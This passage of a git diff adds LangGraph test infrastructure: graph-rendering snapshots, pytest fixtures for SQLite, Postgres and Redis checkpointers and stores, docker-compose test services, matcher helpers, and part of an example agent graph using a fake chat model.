) + gp_two\3ap_two\3ac_one(c_one) + gp_two\3ap_two\3ac_two(c_two) + gp_two\3ap_two\3a__end__(

__end__

) + gp_two\3ap_two\3a__start__ --> gp_two\3ap_two\3ac_one; + gp_two\3ap_two\3ac_one -.  1  .-> gp_two\3ap_two\3a__end__; + gp_two\3ap_two\3ac_one -.  0  .-> gp_two\3ap_two\3ac_two; + gp_two\3ap_two\3ac_two --> gp_two\3ap_two\3ac_one; + end + end + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc + + ''' +# --- +# name: test_xray_issue + ''' + --- + config: + flowchart: + curve: linear + --- + graph TD; + __start__([

__start__

]):::first + p_one(p_one) + __end__([

__end__

]):::last + __start__ --> p_one; + p_one -.  1  .-> __end__; + p_one -.  0  .-> p_two\3a__start__; + p_two\3a__end__ --> p_one; + subgraph p_two + p_two\3a__start__(

__start__

) + p_two\3ac_one(c_one) + p_two\3ac_two(c_two) + p_two\3a__end__(

__end__

) + p_two\3a__start__ --> p_two\3ac_one; + p_two\3ac_one -.  1  .-> p_two\3a__end__; + p_two\3ac_one -.  0  .-> p_two\3ac_two; + p_two\3ac_two --> p_two\3ac_one; + end + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc + + ''' +# --- +# name: test_xray_lance + dict({ + 'edges': list([ + dict({ + 'source': '__start__', + 'target': 'ask_question', + }), + dict({ + 'conditional': True, + 'source': 'answer_question', + 'target': '__end__', + }), + dict({ + 'conditional': True, + 'source': 'answer_question', + 'target': 'ask_question', + }), + dict({ + 'source': 'ask_question', + 'target': 'answer_question', + }), + ]), + 'nodes': list([ + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': '__start__', + }), + 'id': '__start__', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'ask_question', + }), + 'id': 'ask_question', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'answer_question', + }), + 'id': 'answer_question', + 'type': 'runnable', + }), + dict({ + 'id': '__end__', + }), + ]), + }) +# --- +# name: test_xray_lance.1 + dict({ + 'edges': list([ + dict({ + 'source': '__start__', + 'target': 'generate_analysts', + }), + dict({ + 'source': 'conduct_interview', + 'target': 'generate_sections', + }), + dict({ + 'conditional': True, + 'source': 'generate_analysts', + 'target': 'conduct_interview', + }), + dict({ + 'source': 'generate_sections', + 'target': '__end__', + }), + ]), + 'nodes': list([ + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': '__start__', + }), + 'id': '__start__', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'generate_analysts', + }), + 'id': 'generate_analysts', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + 'graph', + 'state', + 'CompiledStateGraph', + ]), + 'name': 'conduct_interview', + }), + 'id': 'conduct_interview', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'generate_sections', + }), + 'id': 'generate_sections', + 'type': 'runnable', + }), + dict({ + 'id': '__end__', + }), + ]), + }) +# --- +# name: test_xray_lance.2 + dict({ + 'edges': list([ + dict({ + 'source': '__start__', + 'target': 'generate_analysts', + }), + dict({ + 'source': 'conduct_interview:__end__', + 'target': 'generate_sections', + }), + dict({ + 'conditional': True, + 'source': 'generate_analysts', + 'target': 'conduct_interview:__start__', + }), + dict({ + 'source': 'generate_sections', + 'target': '__end__', + }), + dict({ + 'source': 'conduct_interview:__start__', + 'target': 'conduct_interview:ask_question', + }), + dict({ + 'conditional': True, + 'source': 'conduct_interview:answer_question', + 'target': 'conduct_interview:__end__', + }), + dict({ + 'conditional': True, + 'source': 'conduct_interview:answer_question', + 'target': 'conduct_interview:ask_question', + }), + dict({ + 'source': 'conduct_interview:ask_question', + 'target': 'conduct_interview:answer_question', + }), + ]), + 'nodes': list([ + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': '__start__', + }), + 'id': '__start__', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'generate_analysts', + }), + 'id': 'generate_analysts', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'generate_sections', + }), + 'id': 'generate_sections', + 'type': 'runnable', + }), + dict({ + 'id': '__end__', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'conduct_interview:__start__', + }), + 'id': 'conduct_interview:__start__', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'conduct_interview:ask_question', + }), + 'id': 'conduct_interview:ask_question', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'conduct_interview:answer_question', + }), + 'id': 'conduct_interview:answer_question', + 'type': 'runnable', + }), + dict({ + 'id': 'conduct_interview:__end__', + }), + ]), + }) +# --- diff --git a/libs/langgraph/tests/__snapshots__/test_pregel_async.ambr b/libs/langgraph/tests/__snapshots__/test_pregel_async.ambr new file mode 100644 index 0000000..0832ff6 --- /dev/null +++ b/libs/langgraph/tests/__snapshots__/test_pregel_async.ambr @@ -0,0 +1,143 @@ +# serializer version: 1 +# name: test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic2[memory] + ''' + graph TD; + __start__ --> rewrite_query; + analyzer_one --> retriever_one; + retriever_one --> qa; + retriever_two --> qa; + rewrite_query --> analyzer_one; + rewrite_query -.-> retriever_two; + qa --> __end__; + + ''' +# --- +# name: test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic2[memory].1 + dict({ + '$defs': dict({ + 'InnerObject': dict({ + 'properties': dict({ + 'yo': dict({ + 'title': 'Yo', + 'type': 'integer', + }), + }), + 'required': list([ + 'yo', + ]), + 'title': 'InnerObject', + 'type': 'object', + }), + }), + 'properties': dict({ + 'answer': dict({ + 'anyOf': list([ + dict({ + 'type': 'string', + }), + dict({ + 'type': 'null', + }), + ]), + 'default': None, + 'title': 'Answer', + }), + 'docs': dict({ + 'items': dict({ + 'type': 'string', + }), + 'title': 'Docs', + 'type': 'array', + }), + 'inner': dict({ + '$ref': '#/$defs/InnerObject', + }), + 'query': dict({ + 'title': 'Query', + 'type': 'string', + }), + }), + 'required': list([ + 'query', + 'inner', + 'docs', + ]), + 'title': 'State', + 'type': 'object', + }) +# --- +# name: test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic2[memory].2 + dict({ + '$defs': dict({ + 'InnerObject': dict({ + 'properties': dict({ + 'yo': dict({ + 'title': 'Yo', + 'type': 'integer', + }), + }), + 'required': list([ + 'yo', + ]), + 'title': 'InnerObject', + 'type': 'object', + }), + }), + 'properties': dict({ + 'answer': dict({ + 'anyOf': list([ + dict({ + 'type': 'string', + }), + dict({ + 'type': 'null', + }), + ]), + 'default': None, + 'title': 'Answer', + }), + 'docs': dict({ + 'items': dict({ + 'type': 'string', + }), + 'title': 'Docs', + 'type': 'array', + }), + 'inner': dict({ + '$ref': '#/$defs/InnerObject', + }), + 'query': dict({ + 'title': 'Query', + 'type': 'string', + }), + }), + 'required': list([ + 'query', + 'inner', + 'docs', + ]), + 'title': 'State', + 'type': 'object', + }) +# --- +# name: test_send_react_interrupt_control[memory] + ''' + --- + config: + flowchart: + curve: linear + --- + graph TD; + __start__([

__start__

]):::first + agent(agent) + foo(foo) + __end__([

__end__

]):::last + __start__ --> agent; + agent -.-> foo; + foo --> __end__; + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc + + ''' +# --- diff --git a/libs/langgraph/tests/agents.py b/libs/langgraph/tests/agents.py new file mode 100644 index 0000000..d9e9257 --- /dev/null +++ b/libs/langgraph/tests/agents.py @@ -0,0 +1,30 @@ +from typing import Literal + +from pydantic import BaseModel + + +# define these objects to avoid importing langchain_core.agents +# and therefore avoid relying on core Pydantic version +class AgentAction(BaseModel): + """ + Represents a request to execute an action by an agent. + + The action consists of the name of the tool to execute and the input to pass + to the tool. The log is used to pass along extra information about the action. + """ + + tool: str + tool_input: str | dict + log: str + type: Literal["AgentAction"] = "AgentAction" + + +class AgentFinish(BaseModel): + """Final return value of an ActionAgent. + + Agents return an AgentFinish when they have reached a stopping condition. + """ + + return_values: dict + log: str + type: Literal["AgentFinish"] = "AgentFinish" diff --git a/libs/langgraph/tests/any_int.py b/libs/langgraph/tests/any_int.py new file mode 100644 index 0000000..2fb2dba --- /dev/null +++ b/libs/langgraph/tests/any_int.py @@ -0,0 +1,6 @@ +class AnyInt(int): + def __init__(self) -> None: + super().__init__() + + def __eq__(self, other: object) -> bool: + return isinstance(other, int) diff --git a/libs/langgraph/tests/any_str.py b/libs/langgraph/tests/any_str.py new file mode 100644 index 0000000..e4175fd --- /dev/null +++ b/libs/langgraph/tests/any_str.py @@ -0,0 +1,92 @@ +import re +from collections.abc import Sequence +from typing import Any + +from typing_extensions import Self + + +class AnyObject: + def __eq__(self, value): + return True + + +class FloatBetween(float): + def __new__(cls, min_value: float, max_value: float) -> Self: + return super().__new__(cls, min_value) + + def __init__(self, min_value: float, max_value: float) -> None: + super().__init__() + self.min_value = min_value + self.max_value = max_value + + def __eq__(self, other: object) -> bool: + return ( + isinstance(other, float) + and other >= self.min_value + and other <= self.max_value + ) + + def __hash__(self) -> int: + return hash((float(self), self.min_value, self.max_value)) + + +class AnyStr(str): + def __init__(self, prefix: str | re.Pattern = "") -> None: + super().__init__() + self.prefix = prefix + + def __eq__(self, other: object) -> bool: + return isinstance(other, str) and ( + other.startswith(self.prefix) + if isinstance(self.prefix, str) + else self.prefix.match(other) + ) + + def __hash__(self) -> int: + return hash((str(self), self.prefix)) + + +class AnyDict(dict): + def __init__(self, *args, **kwargs) -> None: + super().__init__(*args, **kwargs) + + def __eq__(self, other: object) -> bool: + if not isinstance(other, dict) or len(self) != len(other): + return False + for k, v in self.items(): + if kk := next((kk for kk in other if kk == k), None): + if v == other[kk]: + continue + else: + return False + else: + return True + + +class AnyVersion: + def __init__(self) -> None: + super().__init__() + + def __eq__(self, other: object) -> bool: + return isinstance(other, (str, int, float)) + + def __hash__(self) -> int: + return hash(str(self)) + + +class UnsortedSequence: + def __init__(self, *values: Any) -> None: + self.seq = values + + def __eq__(self, value: object) -> bool: + return ( + isinstance(value, Sequence) + and len(self.seq) == len(value) + and all(a in value for a in self.seq) + ) + + def __hash__(self) -> int: + return hash(frozenset(self.seq)) + + def __repr__(self) -> str: + return repr(self.seq) diff --git a/libs/langgraph/tests/compose-postgres.yml b/libs/langgraph/tests/compose-postgres.yml new file mode 100644 index 0000000..221b35d --- /dev/null +++ b/libs/langgraph/tests/compose-postgres.yml @@ -0,0 +1,17 @@ +name: langgraph-tests +services: + postgres-test: + image: postgres:16 + ports: + - "5442:5432" + environment: + POSTGRES_DB: postgres + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + healthcheck: + test: pg_isready -U postgres + start_period: 10s + timeout: 1s + retries: 5 + interval: 60s + start_interval: 1s diff --git a/libs/langgraph/tests/compose-redis.yml b/libs/langgraph/tests/compose-redis.yml new file mode 100644 index 0000000..be43437 --- /dev/null +++ b/libs/langgraph/tests/compose-redis.yml @@ -0,0 +1,16 @@ +name: langgraph-tests +services: + redis-test: + image: redis:7-alpine + ports: + - "6379:6379" + command: redis-server --maxmemory 256mb --maxmemory-policy allkeys-lru + healthcheck: + test: redis-cli ping + start_period: 10s + timeout: 1s + retries: 5 + interval: 5s + start_interval: 1s + tmpfs: + - /data # Use tmpfs for faster testing diff --git a/libs/langgraph/tests/conftest.py b/libs/langgraph/tests/conftest.py new file mode 100644 index 0000000..2e2857a --- /dev/null +++ b/libs/langgraph/tests/conftest.py @@ -0,0 +1,226 @@ +import os +from collections.abc import AsyncIterator, Iterator +from uuid import UUID + +import pytest +import redis +from langgraph.cache.base import BaseCache +from langgraph.cache.memory import InMemoryCache +from langgraph.cache.redis import RedisCache +from langgraph.cache.sqlite import SqliteCache +from langgraph.checkpoint.base import BaseCheckpointSaver +from langgraph.store.base import BaseStore +from pytest_mock import MockerFixture + +from langgraph.types import Durability +from tests.conftest_checkpointer import ( + _checkpointer_memory, + _checkpointer_memory_migrate_sends, + _checkpointer_postgres, + _checkpointer_postgres_aio, + _checkpointer_postgres_aio_pipe, + _checkpointer_postgres_aio_pool, + _checkpointer_postgres_pipe, + _checkpointer_postgres_pool, + _checkpointer_sqlite, + _checkpointer_sqlite_aes, + _checkpointer_sqlite_aio, +) +from tests.conftest_store import ( + _store_memory, + _store_postgres, + _store_postgres_aio, + _store_postgres_aio_pipe, + _store_postgres_aio_pool, + _store_postgres_pipe, + _store_postgres_pool, +) + +NO_DOCKER = os.getenv("NO_DOCKER", "false") == "true" + + +@pytest.fixture +def anyio_backend(): + return "asyncio" + + +@pytest.fixture() +def deterministic_uuids(mocker: MockerFixture) -> MockerFixture: + side_effect = ( + UUID(f"00000000-0000-4000-8000-{i:012}", version=4) for i in range(10000) + ) + return mocker.patch("uuid.uuid4", side_effect=side_effect) + + +@pytest.fixture(params=["sync", "async", "exit"]) +def durability(request: pytest.FixtureRequest) -> Durability: + return request.param + + +@pytest.fixture( + scope="function", + params=["sqlite", "memory"] if NO_DOCKER else ["sqlite", "memory", "redis"], +) +def cache(request: pytest.FixtureRequest) -> Iterator[BaseCache]: + if request.param == "sqlite": + yield SqliteCache(path=":memory:") + elif request.param == "memory": + yield InMemoryCache() + elif request.param == "redis": + # Get worker ID for parallel test isolation + worker_id = getattr(request.config, "workerinput", {}).get("workerid", "master") + + redis_client = redis.Redis( + host="localhost", port=6379, db=0, decode_responses=False + ) + # Use worker-specific prefix to avoid cache pollution between parallel tests + cache = RedisCache(redis_client, prefix=f"test:cache:{worker_id}:") + yield cache + + try: + # Only clear keys with our specific prefix + pattern = f"test:cache:{worker_id}:*" + keys = redis_client.keys(pattern) + if keys: + redis_client.delete(*keys) + except Exception: + pass + else: + raise ValueError(f"Unknown cache type: {request.param}") + + +@pytest.fixture( + scope="function", + params=["in_memory"] + if NO_DOCKER + else ["in_memory", "postgres", "postgres_pipe", "postgres_pool"], +) +def sync_store(request: pytest.FixtureRequest) -> Iterator[BaseStore]: + store_name = request.param + if store_name is None: + yield None + elif store_name == "in_memory": + with _store_memory() as store: + yield store + elif store_name == "postgres": + with _store_postgres() as store: + yield store + elif store_name == "postgres_pipe": + with _store_postgres_pipe() as store: + yield store + elif store_name == "postgres_pool": + with _store_postgres_pool() as store: + yield store + else: + raise NotImplementedError(f"Unknown store {store_name}") + + +@pytest.fixture( + scope="function", + params=["in_memory"] + if NO_DOCKER + else ["in_memory", "postgres_aio", "postgres_aio_pipe", "postgres_aio_pool"], +) +async def async_store(request: pytest.FixtureRequest) -> AsyncIterator[BaseStore]: + store_name = request.param + if store_name is None: + yield None + elif store_name == "in_memory": + with _store_memory() as store: + yield store + elif store_name == "postgres_aio": + async with _store_postgres_aio() as store: + yield store + elif store_name == "postgres_aio_pipe": + async with _store_postgres_aio_pipe() as store: + yield store + elif store_name == "postgres_aio_pool": + async with _store_postgres_aio_pool() as store: + yield store + else: + raise NotImplementedError(f"Unknown store {store_name}") + + +@pytest.fixture( + scope="function", + params=[ + "memory", + "sqlite", + "sqlite_aes", + ] + if NO_DOCKER + else [ + "memory", + "memory_migrate_sends", + "sqlite", + "sqlite_aes", + "postgres", + "postgres_pipe", + "postgres_pool", + ], +) +def sync_checkpointer( + request: pytest.FixtureRequest, +) -> Iterator[BaseCheckpointSaver]: + checkpointer_name = request.param + if checkpointer_name == "memory": + with _checkpointer_memory() as checkpointer: + yield checkpointer + elif checkpointer_name == "memory_migrate_sends": + with _checkpointer_memory_migrate_sends() as checkpointer: + yield checkpointer + elif checkpointer_name == "sqlite": + with _checkpointer_sqlite() as checkpointer: + yield checkpointer + elif checkpointer_name == "sqlite_aes": + with _checkpointer_sqlite_aes() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres": + with _checkpointer_postgres() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_pipe": + with _checkpointer_postgres_pipe() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_pool": + with _checkpointer_postgres_pool() as checkpointer: + yield checkpointer + else: + raise NotImplementedError(f"Unknown checkpointer: {checkpointer_name}") + + +@pytest.fixture( + scope="function", + params=[ + "memory", + "sqlite_aio", + ] + if NO_DOCKER + else [ + "memory", + "sqlite_aio", + "postgres_aio", + "postgres_aio_pipe", + "postgres_aio_pool", + ], +) +async def async_checkpointer( + request: pytest.FixtureRequest, +) -> AsyncIterator[BaseCheckpointSaver]: + checkpointer_name = request.param + if checkpointer_name == "memory": + with _checkpointer_memory() as checkpointer: + yield checkpointer + elif checkpointer_name == "sqlite_aio": + async with _checkpointer_sqlite_aio() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_aio": + async with _checkpointer_postgres_aio() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_aio_pipe": + async with _checkpointer_postgres_aio_pipe() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_aio_pool": + async with _checkpointer_postgres_aio_pool() as checkpointer: + yield checkpointer + else: + raise NotImplementedError(f"Unknown checkpointer: {checkpointer_name}") diff --git a/libs/langgraph/tests/conftest_checkpointer.py b/libs/langgraph/tests/conftest_checkpointer.py new file mode 100644 index 0000000..b74e559 --- /dev/null +++ b/libs/langgraph/tests/conftest_checkpointer.py @@ -0,0 +1,239 @@ +import os +from contextlib import asynccontextmanager, contextmanager +from uuid import uuid4 + +import pytest +from langgraph.checkpoint.postgres import PostgresSaver +from langgraph.checkpoint.postgres.aio import AsyncPostgresSaver +from langgraph.checkpoint.serde.encrypted import EncryptedSerializer +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer +from langgraph.checkpoint.sqlite import SqliteSaver +from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver +from psycopg import AsyncConnection, Connection +from psycopg_pool import AsyncConnectionPool, ConnectionPool + +pytest.register_assert_rewrite("tests.memory_assert") + +from tests.memory_assert import ( # noqa: E402 + MemorySaverAssertImmutable, + MemorySaverNeedsPendingSendsMigration, +) + +DEFAULT_POSTGRES_URI = "postgres://postgres:postgres@localhost:5442/" +STRICT_MSGPACK = os.getenv("LANGGRAPH_STRICT_MSGPACK", "false").lower() in ( + "1", + "true", + "yes", +) + + +def _strict_msgpack_serde() -> JsonPlusSerializer: + return JsonPlusSerializer(allowed_msgpack_modules=None) + + +def _apply_strict_msgpack(checkpointer) -> None: + if not STRICT_MSGPACK: + return + serde = _strict_msgpack_serde() + if hasattr(checkpointer, "serde"): + checkpointer.serde = serde + if hasattr(checkpointer, "saver") and hasattr(checkpointer.saver, "serde"): + checkpointer.saver.serde = serde + + +@contextmanager +def _checkpointer_memory(): + if STRICT_MSGPACK: + yield MemorySaverAssertImmutable(serde=_strict_msgpack_serde()) + else: + yield MemorySaverAssertImmutable() + + +@contextmanager +def _checkpointer_memory_migrate_sends(): + checkpointer = MemorySaverNeedsPendingSendsMigration() + _apply_strict_msgpack(checkpointer) + yield checkpointer + + +@contextmanager +def _checkpointer_sqlite(): + with SqliteSaver.from_conn_string(":memory:") as checkpointer: + _apply_strict_msgpack(checkpointer) + yield checkpointer + + +@contextmanager +def _checkpointer_sqlite_aes(): + with SqliteSaver.from_conn_string(":memory:") as checkpointer: + if STRICT_MSGPACK: + checkpointer.serde = EncryptedSerializer.from_pycryptodome_aes( + serde=_strict_msgpack_serde(), key=b"1234567890123456" + ) + else: + checkpointer.serde = EncryptedSerializer.from_pycryptodome_aes( + key=b"1234567890123456" + ) + yield checkpointer + + +@contextmanager +def _checkpointer_postgres(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + with PostgresSaver.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as checkpointer: + checkpointer.setup() + _apply_strict_msgpack(checkpointer) + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _checkpointer_postgres_pipe(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + with PostgresSaver.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as checkpointer: + checkpointer.setup() + # setup can't run inside pipeline because of implicit transaction + with checkpointer.conn.pipeline() as pipe: + checkpointer.pipe = pipe + _apply_strict_msgpack(checkpointer) + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _checkpointer_postgres_pool(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + with ConnectionPool( + DEFAULT_POSTGRES_URI + database, max_size=10, kwargs={"autocommit": True} + ) as pool: + checkpointer = PostgresSaver(pool) + checkpointer.setup() + _apply_strict_msgpack(checkpointer) + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _checkpointer_sqlite_aio(): + async with AsyncSqliteSaver.from_conn_string(":memory:") as checkpointer: + _apply_strict_msgpack(checkpointer) + yield checkpointer + + +@asynccontextmanager +async def _checkpointer_postgres_aio(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + async with AsyncPostgresSaver.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as checkpointer: + await checkpointer.setup() + _apply_strict_msgpack(checkpointer) + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _checkpointer_postgres_aio_pipe(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + async with AsyncPostgresSaver.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as checkpointer: + await checkpointer.setup() + # setup can't run inside pipeline because of implicit transaction + async with checkpointer.conn.pipeline() as pipe: + checkpointer.pipe = pipe + _apply_strict_msgpack(checkpointer) + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _checkpointer_postgres_aio_pool(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + async with AsyncConnectionPool( + DEFAULT_POSTGRES_URI + database, max_size=10, kwargs={"autocommit": True} + ) as pool: + checkpointer = AsyncPostgresSaver(pool) + await checkpointer.setup() + _apply_strict_msgpack(checkpointer) + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +__all__ = [ + "_checkpointer_memory", + "_checkpointer_memory_migrate_sends", + "_checkpointer_sqlite", + "_checkpointer_sqlite_aes", + "_checkpointer_postgres", + "_checkpointer_postgres_pipe", + "_checkpointer_postgres_pool", + "_checkpointer_sqlite_aio", + "_checkpointer_postgres_aio", + "_checkpointer_postgres_aio_pipe", + "_checkpointer_postgres_aio_pool", +] diff --git a/libs/langgraph/tests/conftest_store.py b/libs/langgraph/tests/conftest_store.py new file mode 100644 index 0000000..4ae8c24 --- /dev/null +++ b/libs/langgraph/tests/conftest_store.py @@ -0,0 +1,145 @@ +from contextlib import asynccontextmanager, contextmanager +from uuid import uuid4 + +from langgraph.store.memory import InMemoryStore +from langgraph.store.postgres import AsyncPostgresStore, PostgresStore +from psycopg import AsyncConnection, Connection + +DEFAULT_POSTGRES_URI = "postgres://postgres:postgres@localhost:5442/" + + +@contextmanager +def _store_memory(): + store = InMemoryStore() + yield store + + +@contextmanager +def _store_postgres(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield store + with PostgresStore.from_conn_string(DEFAULT_POSTGRES_URI + database) as store: + store.setup() + yield store + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _store_postgres_pipe(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield store + with PostgresStore.from_conn_string(DEFAULT_POSTGRES_URI + database) as store: + store.setup() # Run in its own transaction + with PostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database, pipeline=True + ) as store: + yield store + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _store_postgres_pool(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield store + with PostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database, pool_config={"max_size": 10} + ) as store: + store.setup() + yield store + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _store_postgres_aio(): + database = f"test_{uuid4().hex[:16]}" + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as store: + await store.setup() + yield store + finally: + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _store_postgres_aio_pipe(): + database = f"test_{uuid4().hex[:16]}" + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as store: + await store.setup() # Run in its own transaction + async with AsyncPostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database, pipeline=True + ) as store: + yield store + finally: + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _store_postgres_aio_pool(): + database = f"test_{uuid4().hex[:16]}" + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database, + pool_config={"max_size": 10}, + ) as store: + await store.setup() + yield store + finally: + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +__all__ = [ + "_store_memory", + "_store_postgres", + "_store_postgres_pipe", + "_store_postgres_pool", + "_store_postgres_aio", + "_store_postgres_aio_pipe", + "_store_postgres_aio_pool", +] diff --git a/libs/langgraph/tests/example_app/example_graph.py b/libs/langgraph/tests/example_app/example_graph.py new file mode 100644 index 0000000..2a3f2a5 --- /dev/null +++ b/libs/langgraph/tests/example_app/example_graph.py @@ -0,0 +1,89 @@ +from typing import Annotated + +from langchain_core.messages import AIMessage, BaseMessage, ToolMessage +from langchain_core.tools import tool +from typing_extensions import TypedDict + +from langgraph.func import entrypoint, task +from langgraph.graph.message import add_messages +from tests.fake_chat import FakeChatModel + + +class AgentState(TypedDict): + messages: Annotated[list[BaseMessage], add_messages] + + +@tool +def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + +tools = [search_api] +tools_by_name = {t.name: t for t in tools} + + +def get_model(): + model = FakeChatModel( + messages=[ + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + 